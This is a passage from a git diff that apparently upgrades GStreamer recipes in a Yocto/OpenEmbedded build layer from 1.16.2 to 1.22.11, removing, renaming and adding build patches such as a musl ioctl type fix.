-+ ret = gst_ssa_parse_push_line (parse, txt, size, ts, GST_BUFFER_DURATION (buf));
-
- if (ret != GST_FLOW_OK && GST_CLOCK_TIME_IS_VALID (ts)) {
- GstSegment segment;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-viv-fb-Make-sure-config.h-is-included.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-viv-fb-Make-sure-config.h-is-included.patch
new file mode 100644
index 0000000000..a605533be8
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-viv-fb-Make-sure-config.h-is-included.patch
@@ -0,0 +1,30 @@
+From 2b07840122bc2e83bd23dad59aa80d9479f2e1e4 Mon Sep 17 00:00:00 2001
+From: Carlos Rafael Giani <crg7475@mailbox.org>
+Date: Tue, 21 May 2019 14:01:11 +0200
+Subject: [PATCH] viv-fb: Make sure config.h is included
+
+This prevents build errors due to missing GST_API_* symbols
+
+Upstream-Status: Pending
+
+Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
+
+---
+ gst-libs/gst/gl/gl-prelude.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/gst-libs/gst/gl/gl-prelude.h b/gst-libs/gst/gl/gl-prelude.h
+index 85fca5a..946c729 100644
+--- a/gst-libs/gst/gl/gl-prelude.h
++++ b/gst-libs/gst/gl/gl-prelude.h
+@@ -22,6 +22,10 @@
+ #ifndef __GST_GL_PRELUDE_H__
+ #define __GST_GL_PRELUDE_H__
+
++#ifdef HAVE_CONFIG_H
++#include "config.h"
++#endif
++
+ #include <gst/gst.h>
+
+ #ifdef BUILDING_GST_GL
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0005-viv-fb-Make-sure-config.h-is-included.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0005-viv-fb-Make-sure-config.h-is-included.patch
deleted file mode 100644
index 6e53d2e8b5..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0005-viv-fb-Make-sure-config.h-is-included.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From bec38a0c2e2958927c42b2f9ae939969b7c4a326 Mon Sep 17 00:00:00 2001
-From: Carlos Rafael Giani <crg7475@mailbox.org>
-Date: Tue, 21 May 2019 14:01:11 +0200
-Subject: [PATCH] viv-fb: Make sure config.h is included
-
-This prevents build errors due to missing GST_API_* symbols
-
-Upstream-Status: Pending
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- gst-libs/gst/gl/gl-prelude.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/gst-libs/gst/gl/gl-prelude.h b/gst-libs/gst/gl/gl-prelude.h
-index 05e1f6229..96ce5e685 100644
---- a/gst-libs/gst/gl/gl-prelude.h
-+++ b/gst-libs/gst/gl/gl-prelude.h
-@@ -22,6 +22,10 @@
- #ifndef __GST_GL_PRELUDE_H__
- #define __GST_GL_PRELUDE_H__
-
-+#ifdef HAVE_CONFIG_H
-+#include "config.h"
-+#endif
-+
- #include <gst/gst.h>
-
- #ifdef BUILDING_GST_GL
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0009-glimagesink-Downrank-to-marginal.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0009-glimagesink-Downrank-to-marginal.patch
deleted file mode 100644
index e8094f459e..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0009-glimagesink-Downrank-to-marginal.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From c6b37a80806f9128de47f1ccc3f2354f8d436bb6 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 24 Sep 2015 19:47:32 +0300
-Subject: [PATCH] glimagesink: Downrank to marginal
-
-On desktop, where there is good OpenGL, xvimagesink will come up first,
-on other platforms, OpenGL can't be trusted because it's either software (like
-in a VM) or broken (like on embedded)., so let ximagesink come above.
-
-Upstream-Status: Submitted [https://bugzilla.gnome.org/show_bug.cgi?id=751684]
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- ext/gl/gstopengl.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/ext/gl/gstopengl.c b/ext/gl/gstopengl.c
-index a4b2540..0ccaacd 100644
---- a/ext/gl/gstopengl.c
-+++ b/ext/gl/gstopengl.c
-@@ -127,7 +127,7 @@ plugin_init (GstPlugin * plugin)
- #endif
-
- if (!gst_element_register (plugin, "glimagesink",
-- GST_RANK_SECONDARY, gst_gl_image_sink_bin_get_type ())) {
-+ GST_RANK_MARGINAL, gst_gl_image_sink_bin_get_type ())) {
- return FALSE;
- }
-
---
-2.1.4
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/get-caps-from-src-pad-when-query-caps.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/get-caps-from-src-pad-when-query-caps.patch
deleted file mode 100644
index a4727e23ea..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/get-caps-from-src-pad-when-query-caps.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 41de2ec64ab06bb58c82c1659adaa3811bc5bcf8 Mon Sep 17 00:00:00 2001
-From: zhouming <b42586@freescale.com>
-Date: Wed, 14 May 2014 10:16:20 +0800
-Subject: [PATCH] ENGR00312515: get caps from src pad when query caps
-
-https://bugzilla.gnome.org/show_bug.cgi?id=728312
-
-Upstream-Status: Pending
-
-Signed-off-by: zhouming <b42586@freescale.com>
-
----
- gst-libs/gst/tag/gsttagdemux.c | 13 +++++++++++++
- 1 file changed, 13 insertions(+)
- mode change 100644 => 100755 gst-libs/gst/tag/gsttagdemux.c
-
-diff --git a/gst-libs/gst/tag/gsttagdemux.c b/gst-libs/gst/tag/gsttagdemux.c
-old mode 100644
-new mode 100755
-index 8a127c8..71c5d78
---- a/gst-libs/gst/tag/gsttagdemux.c
-+++ b/gst-libs/gst/tag/gsttagdemux.c
-@@ -1759,6 +1759,19 @@ gst_tag_demux_pad_query (GstPad * pad, GstObject * parent, GstQuery * query)
- }
- break;
- }
-+ case GST_QUERY_CAPS:
-+ {
-+
-+ /* We can hijack caps query if we typefind already */
-+ if (demux->priv->src_caps) {
-+ gst_query_set_caps_result (query, demux->priv->src_caps);
-+ res = TRUE;
-+ } else {
-+ res = gst_pad_query_default (pad, parent, query);
-+ }
-+ break;
-+ }
-+
- default:
- res = gst_pad_query_default (pad, parent, query);
- break;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.16.2.bb
deleted file mode 100644
index 6563b6f738..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.16.2.bb
+++ /dev/null
@@ -1,99 +0,0 @@
-require gstreamer1.0-plugins-common.inc
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d \
- file://common/coverage/coverage-report.pl;beginline=2;endline=17;md5=a4e1830fce078028c8f0974161272607"
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-${PV}.tar.xz \
- file://get-caps-from-src-pad-when-query-caps.patch \
- file://0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch \
- file://0002-meson-Add-variables-for-gir-files.patch \
- file://0003-ssaparse-enhance-SSA-text-lines-parsing.patch \
- file://0005-viv-fb-Make-sure-config.h-is-included.patch \
- file://0009-glimagesink-Downrank-to-marginal.patch \
- "
-SRC_URI[md5sum] = "3fdb32823535799a748c1fc14f978e2c"
-SRC_URI[sha256sum] = "b13e73e2fe74a4166552f9577c3dcb24bed077021b9c7fa600d910ec6987816a"
-
-S = "${WORKDIR}/gst-plugins-base-${PV}"
-
-DEPENDS += "iso-codes util-linux zlib"
-
-inherit gobject-introspection gtk-doc
-
-PACKAGES_DYNAMIC =+ "^libgst.*"
-
-# opengl packageconfig factored out to make it easy for distros
-# and BSP layers to choose OpenGL APIs/platforms/window systems
-PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gles2 egl', '', d)}"
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa x11', d)} \
- jpeg ogg pango png theora vorbis \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland egl', '', d)} \
-"
-
-OPENGL_APIS = 'opengl gles2'
-OPENGL_PLATFORMS = 'egl'
-
-X11DEPENDS = "virtual/libx11 libsm libxrender libxv"
-X11ENABLEOPTS = "-Dx11=enabled -Dxvideo=enabled -Dxshm=enabled"
-X11DISABLEOPTS = "-Dx11=disabled -Dxvideo=disabled -Dxshm=disabled"
-
-PACKAGECONFIG[alsa] = "-Dalsa=enabled,-Dalsa=disabled,alsa-lib"
-PACKAGECONFIG[cdparanoia] = "-Dcdparanoia=enabled,-Dcdparanoia=disabled,cdparanoia"
-PACKAGECONFIG[jpeg] = "-Dgl-jpeg=enabled,-Dgl-jpeg=disabled,jpeg"
-PACKAGECONFIG[ogg] = "-Dogg=enabled,-Dogg=disabled,libogg"
-PACKAGECONFIG[opus] = "-Dopus=enabled,-Dopus=disabled,libopus"
-PACKAGECONFIG[pango] = "-Dpango=enabled,-Dpango=disabled,pango"
-PACKAGECONFIG[png] = "-Dgl-png=enabled,-Dgl-png=disabled,libpng"
-PACKAGECONFIG[theora] = "-Dtheora=enabled,-Dtheora=disabled,libtheora"
-PACKAGECONFIG[tremor] = "-Dtremor=enabled,-Dtremor=disabled,tremor"
-PACKAGECONFIG[visual] = "-Dlibvisual=enabled,-Dlibvisual=disabled,libvisual"
-PACKAGECONFIG[vorbis] = "-Dvorbis=enabled,-Dvorbis=disabled,libvorbis"
-PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
-
-# OpenGL API packageconfigs
-PACKAGECONFIG[opengl] = ",,virtual/libgl libglu"
-PACKAGECONFIG[gles2] = ",,virtual/libgles2"
-
-# OpenGL platform packageconfigs
-PACKAGECONFIG[egl] = ",,virtual/egl"
-
-# OpenGL window systems (except for X11)
-PACKAGECONFIG[gbm] = ",,virtual/libgbm libgudev libdrm"
-PACKAGECONFIG[wayland] = ",,wayland-native wayland wayland-protocols libdrm"
-PACKAGECONFIG[dispmanx] = ",,virtual/libomxil"
-
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'x11', ' x11', '', d)}"
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'gbm', ' gbm', '', d)}"
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'wayland', ' wayland', '', d)}"
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'dispmanx', ' dispmanx', '', d)}"
-
-EXTRA_OEMESON += " \
- -Dgl-graphene=disabled \
- ${@get_opengl_cmdline_list('gl_api', d.getVar('OPENGL_APIS'), d)} \
- ${@get_opengl_cmdline_list('gl_platform', d.getVar('OPENGL_PLATFORMS'), d)} \
- ${@get_opengl_cmdline_list('gl_winsys', d.getVar('OPENGL_WINSYS'), d)} \
-"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-GTKDOC_MESON_ENABLE_FLAG = "enabled"
-GTKDOC_MESON_DISABLE_FLAG = "disabled"
-
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/include/gst/gl/gstglconfig.h"
-FILES_${MLPREFIX}libgsttag-1.0 += "${datadir}/gst-plugins-base/1.0/license-translations.dict"
-
-def get_opengl_cmdline_list(switch_name, options, d):
- selected_options = []
- if bb.utils.contains('DISTRO_FEATURES', 'opengl', True, False, d):
- for option in options.split():
- if bb.utils.contains('PACKAGECONFIG', option, True, False, d):
- selected_options += [option]
- if selected_options:
- return '-D' + switch_name + '=' + ','.join(selected_options)
- else:
- return ''
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.11.bb
new file mode 100644
index 0000000000..7aa10eb646
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.11.bb
@@ -0,0 +1,96 @@
+require gstreamer1.0-plugins-common.inc
+
+SUMMARY = "'Base' GStreamer plugins and helper libraries"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-base/-/issues"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-${PV}.tar.xz \
+ file://0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch \
+ file://0003-viv-fb-Make-sure-config.h-is-included.patch \
+ file://0002-ssaparse-enhance-SSA-text-lines-parsing.patch \
+ "
+SRC_URI[sha256sum] = "65eaf72296cc5edc985695a4d80affc931e64a79f4879d05615854f7a2cf5bd1"
+
+S = "${WORKDIR}/gst-plugins-base-${PV}"
+
+DEPENDS += "iso-codes util-linux zlib"
+
+inherit gobject-introspection
+
+# opengl packageconfig factored out to make it easy for distros
+# and BSP layers to choose OpenGL APIs/platforms/window systems
+PACKAGECONFIG_X11 = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'opengl glx', '', d)}"
+PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gles2 egl ${PACKAGECONFIG_X11}', '', d)}"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa x11', d)} \
+ jpeg ogg pango png theora vorbis \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland egl', '', d)} \
+"
+
+OPENGL_APIS = 'opengl gles2'
+OPENGL_PLATFORMS = 'egl glx'
+
+X11DEPENDS = "virtual/libx11 libsm libxrender libxv"
+X11ENABLEOPTS = "-Dx11=enabled -Dxvideo=enabled -Dxshm=enabled"
+X11DISABLEOPTS = "-Dx11=disabled -Dxvideo=disabled -Dxshm=disabled"
+
+PACKAGECONFIG[alsa] = "-Dalsa=enabled,-Dalsa=disabled,alsa-lib"
+PACKAGECONFIG[cdparanoia] = "-Dcdparanoia=enabled,-Dcdparanoia=disabled,cdparanoia"
+PACKAGECONFIG[graphene] = "-Dgl-graphene=enabled,-Dgl-graphene=disabled,graphene"
+PACKAGECONFIG[jpeg] = "-Dgl-jpeg=enabled,-Dgl-jpeg=disabled,jpeg"
+PACKAGECONFIG[ogg] = "-Dogg=enabled,-Dogg=disabled,libogg"
+PACKAGECONFIG[opus] = "-Dopus=enabled,-Dopus=disabled,libopus"
+PACKAGECONFIG[pango] = "-Dpango=enabled,-Dpango=disabled,pango"
+PACKAGECONFIG[png] = "-Dgl-png=enabled,-Dgl-png=disabled,libpng"
+# This enables Qt5 QML examples in -base. The Qt5 GStreamer
+# qmlglsink and qmlglsrc plugins still exist in -good.
+PACKAGECONFIG[qt5] = "-Dqt5=enabled,-Dqt5=disabled,qtbase qtdeclarative qtbase-native"
+PACKAGECONFIG[theora] = "-Dtheora=enabled,-Dtheora=disabled,libtheora"
+PACKAGECONFIG[tremor] = "-Dtremor=enabled,-Dtremor=disabled,tremor"
+PACKAGECONFIG[visual] = "-Dlibvisual=enabled,-Dlibvisual=disabled,libvisual"
+PACKAGECONFIG[vorbis] = "-Dvorbis=enabled,-Dvorbis=disabled,libvorbis"
+PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
+
+# OpenGL API packageconfigs
+PACKAGECONFIG[opengl] = ",,virtual/libgl libglu"
+PACKAGECONFIG[gles2] = ",,virtual/libgles2"
+
+# OpenGL platform packageconfigs
+PACKAGECONFIG[egl] = ",,virtual/egl"
+PACKAGECONFIG[glx] = ",,virtual/libgl"
+
+# OpenGL window systems (except for X11)
+PACKAGECONFIG[gbm] = ",,virtual/libgbm libgudev libdrm"
+PACKAGECONFIG[wayland] = ",,wayland-native wayland wayland-protocols libdrm"
+PACKAGECONFIG[dispmanx] = ",,virtual/libomxil"
+PACKAGECONFIG[viv-fb] = ",,virtual/libgles2 virtual/libg2d"
+
+OPENGL_WINSYS = "${@bb.utils.filter('PACKAGECONFIG', 'x11 gbm wayland dispmanx egl viv-fb', d)}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ ${@get_opengl_cmdline_list('gl_api', d.getVar('OPENGL_APIS'), d)} \
+ ${@get_opengl_cmdline_list('gl_platform', d.getVar('OPENGL_PLATFORMS'), d)} \
+ ${@get_opengl_cmdline_list('gl_winsys', d.getVar('OPENGL_WINSYS'), d)} \
+"
+
+FILES:${PN}-dev += "${libdir}/gstreamer-1.0/include/gst/gl/gstglconfig.h"
+FILES:${MLPREFIX}libgsttag-1.0 += "${datadir}/gst-plugins-base/1.0/license-translations.dict"
+
+def get_opengl_cmdline_list(switch_name, options, d):
+ selected_options = []
+ if bb.utils.contains('DISTRO_FEATURES', 'opengl', True, False, d):
+ for option in options.split():
+ if bb.utils.contains('PACKAGECONFIG', option, True, False, d):
+ selected_options += [option]
+ if selected_options:
+ return '-D' + switch_name + '=' + ','.join(selected_options)
+ else:
+ return ''
+
+CVE_PRODUCT += "gst-plugins-base"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc
index dba96e0f6e..54dd92873f 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc
@@ -21,7 +21,7 @@ GSTREAMER_ORC ?= "orc"
# workaround to disable orc on mips to fix the build failure
# {standard input}: Assembler messages:
# {standard input}:46587: Error: branch out of range
-GSTREAMER_ORC_mips = ""
+GSTREAMER_ORC:mips = ""
PACKAGECONFIG[orc] = "-Dorc=enabled,-Dorc=disabled,orc orc-native"
# TODO: put this in a gettext.bbclass patch (with variables to allow for
@@ -45,6 +45,3 @@ EXTRA_OEMESON += " \
GIR_MESON_ENABLE_FLAG = "enabled"
GIR_MESON_DISABLE_FLAG = "disabled"
-
-# Dynamically generate packages for all enabled plugins
-PACKAGES_DYNAMIC = "^${PN}-.*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qmlgl-ensure-Qt-defines-GLsync-to-fix-compile-on-som.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qmlgl-ensure-Qt-defines-GLsync-to-fix-compile-on-som.patch
deleted file mode 100644
index 136848763b..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qmlgl-ensure-Qt-defines-GLsync-to-fix-compile-on-som.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From 3e0d5577444b32579bdf5b69d720a322322ff7bc Mon Sep 17 00:00:00 2001
-From: Milian Wolff <milian.wolff@kdab.com>
-Date: Tue, 26 Nov 2019 15:08:20 +0100
-Subject: [PATCH] qmlgl: ensure Qt defines GLsync to fix compile on some platforms
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-By explictly including QtGui/qopengl.h we force the code path that
-defines GLsync in the Qt-specific way. Without that, some platforms
-failed to compile the qmlgl plugin, since neither Qt nor gstreamer
-defined GLsync then, leading to e.g.:
-
-```
-make[4]: Entering directory '/.../gst-plugins-good-1.16.1/ext/qt'
- CXX libgstqmlgl_la-qtitem.lo
-In file included from gstqtgl.h:32,
- from qtitem.h:27,
- from qtitem.cc:28:
-/.../usr/include/gstreamer-1.0/
-gst/gl/gstglfuncs.h:93:17: error: expected identifier before ‘*’ token
- ret (GSTGLAPI *name) args;
- ^
-/.../usr/include/gstreamer-1.0/
-gst/gl/glprototypes/sync.h:27:1: note: in expansion of macro
-‘GST_GL_EXT_FUNCTION’
- GST_GL_EXT_FUNCTION (GLsync, FenceSync,
- ^~~~~~~~~~~~~~~~~~~
-```
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport [https://gitlab.freedesktop.org/gstreamer/gst-plugins-good/commit/3e0d5577444b32579bdf5b69d720a322322ff7bc]
----
- ext/qt/gstqtgl.h | 18 +++++++++++-------
- 1 file changed, 11 insertions(+), 7 deletions(-)
-
---- a/ext/qt/gstqtgl.h
-+++ b/ext/qt/gstqtgl.h
-@@ -22,14 +22,7 @@
- #include <QtGui/qtgui-config.h>
- #endif
-
--/* qt uses the same trick as us to typedef GLsync on GLES2 but to a different
-- * type which confuses the preprocessor. Instead of trying to reconcile the
-- * two, we instead use the GLsync definition from Qt from above, and ensure
-- * that we don't typedef GLsync in gstglfuncs.h */
- #include <gst/gl/gstglconfig.h>
--#undef GST_GL_HAVE_GLSYNC
--#define GST_GL_HAVE_GLSYNC 1
--#include <gst/gl/gstglfuncs.h>
-
- /* The glext.h guard was renamed in 2018, but some software which
- * includes their own copy of the GL headers (such as qt) might have
-@@ -46,6 +39,17 @@
- #endif
- #endif
-
-+/* pulls in GLsync, see below */
-+#include <QtGui/qopengl.h>
-+
-+/* qt uses the same trick as us to typedef GLsync on GLES2 but to a different
-+ * type which confuses the preprocessor. Instead of trying to reconcile the
-+ * two, we instead use the GLsync definition from Qt from above, and ensure
-+ * that we don't typedef GLsync in gstglfuncs.h */
-+#undef GST_GL_HAVE_GLSYNC
-+#define GST_GL_HAVE_GLSYNC 1
-+#include <gst/gl/gstglfuncs.h>
-+
- #if defined(QT_OPENGL_ES_2)
- #include <QtGui/QOpenGLContext>
- #include <QtGui/QOpenGLFunctions>
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch
index 3d423154e0..9703a3a889 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch
@@ -1,4 +1,4 @@
-From d08234a659bec1fd5c984fedefbeb8192af07839 Mon Sep 17 00:00:00 2001
+From 99f48716051ce5ddb8c1b77292213af1e462549e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 31 Mar 2020 21:23:28 -0700
Subject: [PATCH] qt: include ext/qt/gstqtgl.h instead of gst/gl/gstglfuncs.h
@@ -20,13 +20,14 @@ In file included from /mnt/b/yoe/build/tmp/work/cortexa7t2hf-neon-vfpv4-yoe-linu
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
ext/qt/gstqsgtexture.cc | 2 +-
ext/qt/qtwindow.cc | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/ext/qt/gstqsgtexture.cc b/ext/qt/gstqsgtexture.cc
-index 2b314e0..12b15dd 100644
+index 663696b..36b17d4 100644
--- a/ext/qt/gstqsgtexture.cc
+++ b/ext/qt/gstqsgtexture.cc
@@ -27,7 +27,7 @@
@@ -39,7 +40,7 @@ index 2b314e0..12b15dd 100644
#define GST_CAT_DEFAULT gst_qsg_texture_debug
diff --git a/ext/qt/qtwindow.cc b/ext/qt/qtwindow.cc
-index 62d26b6..bf68ebb 100644
+index 2872cb5..5a36be9 100644
--- a/ext/qt/qtwindow.cc
+++ b/ext/qt/qtwindow.cc
@@ -25,7 +25,7 @@
@@ -51,6 +52,3 @@ index 62d26b6..bf68ebb 100644
#include "qtwindow.h"
#include "gstqsgtexture.h"
#include "gstqtglutility.h"
---
-2.26.0
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-v4l2-Define-ioctl_req_t-for-posix-linux-case.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-v4l2-Define-ioctl_req_t-for-posix-linux-case.patch
new file mode 100644
index 0000000000..33bd4200f6
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-v4l2-Define-ioctl_req_t-for-posix-linux-case.patch
@@ -0,0 +1,38 @@
+From b77d4806fd5de50d0b017a3e6a19c5bfdef7b3e4 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 13 Feb 2023 12:47:31 -0800
+Subject: [PATCH] v4l2: Define ioctl_req_t for posix/linux case
+
+this is an issue seen with musl based linux distros e.g. alpine [1]
+musl is not going to change this since it breaks ABI/API interfaces
+Newer compilers are stringent ( e.g. clang16 ) which can now detect
+signature mismatches in function pointers too, existing code warned but
+did not error with older clang
+
+Fixes
+gstv4l2object.c:544:23: error: incompatible function pointer types assigning to 'gint (*)(gint, ioctl_req_t, ...)' (aka 'int (*)(int, unsigned long, ...)') from 'int (int, int, ...)' [-Wincompatible-function-pointer-types]
+ v4l2object->ioctl = ioctl;
+ ^ ~~~~~
+
+[1] https://gitlab.alpinelinux.org/alpine/aports/-/issues/7580
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/3950]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ sys/v4l2/gstv4l2object.h | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/sys/v4l2/gstv4l2object.h b/sys/v4l2/gstv4l2object.h
+index d95b375..5223cbb 100644
+--- a/sys/v4l2/gstv4l2object.h
++++ b/sys/v4l2/gstv4l2object.h
+@@ -76,6 +76,8 @@ typedef gboolean (*GstV4l2UpdateFpsFunction) (GstV4l2Object * v4l2object);
+ * 'unsigned long' for the 2nd parameter */
+ #ifdef __ANDROID__
+ typedef unsigned ioctl_req_t;
++#elif defined(__linux__) && !defined(__GLIBC__) /* musl/linux */
++typedef int ioctl_req_t;
+ #else
+ typedef gulong ioctl_req_t;
+ #endif
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.16.2.bb
deleted file mode 100644
index 17c9421394..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.16.2.bb
+++ /dev/null
@@ -1,70 +0,0 @@
-require gstreamer1.0-plugins-common.inc
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-good/gst-plugins-good-${PV}.tar.xz \
- file://0001-qmlgl-ensure-Qt-defines-GLsync-to-fix-compile-on-som.patch \
- file://0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch \
- "
-
-SRC_URI[md5sum] = "bd025f8f14974f94b75ac69a9d1b9c93"
-SRC_URI[sha256sum] = "40bb3bafda25c0b739c8fc36e48380fccf61c4d3f83747e97ac3f9b0171b1319"
-
-S = "${WORKDIR}/gst-plugins-good-${PV}"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://common/coverage/coverage-report.pl;beginline=2;endline=17;md5=a4e1830fce078028c8f0974161272607 \
- file://gst/replaygain/rganalysis.c;beginline=1;endline=23;md5=b60ebefd5b2f5a8e0cab6bfee391a5fe"
-
-DEPENDS += "gstreamer1.0-plugins-base libcap zlib"
-RPROVIDES_${PN}-pulseaudio += "${PN}-pulse"
-RPROVIDES_${PN}-soup += "${PN}-souphttpsrc"
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio x11', d)} \
- bz2 cairo flac gdk-pixbuf gudev jpeg lame libpng mpg123 soup speex taglib v4l2 \
-"
-
-X11DEPENDS = "virtual/libx11 libsm libxrender libxfixes libxdamage"
-X11ENABLEOPTS = "-Dximagesrc=enabled -Dximagesrc-xshm=enabled -Dximagesrc-xfixes=enabled -Dximagesrc-xdamage=enabled"
-X11DISABLEOPTS = "-Dximagesrc=disabled -Dximagesrc-xshm=disabled -Dximagesrc-xfixes=disabled -Dximagesrc-xdamage=disabled"
-
-PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
-PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
-PACKAGECONFIG[dv1394] = "-Ddv1394=enabled,-Ddv1394=disabled,libiec61883 libavc1394 libraw1394"
-PACKAGECONFIG[flac] = "-Dflac=enabled,-Dflac=disabled,flac"
-PACKAGECONFIG[gdk-pixbuf] = "-Dgdk-pixbuf=enabled,-Dgdk-pixbuf=disabled,gdk-pixbuf"
-PACKAGECONFIG[gtk] = "-Dgtk3=enabled,-Dgtk3=disabled,gtk+3"
-PACKAGECONFIG[gudev] = "-Dv4l2-gudev=enabled,-Dv4l2-gudev=disabled,libgudev"
-PACKAGECONFIG[jack] = "-Djack=enabled,-Djack=disabled,jack"
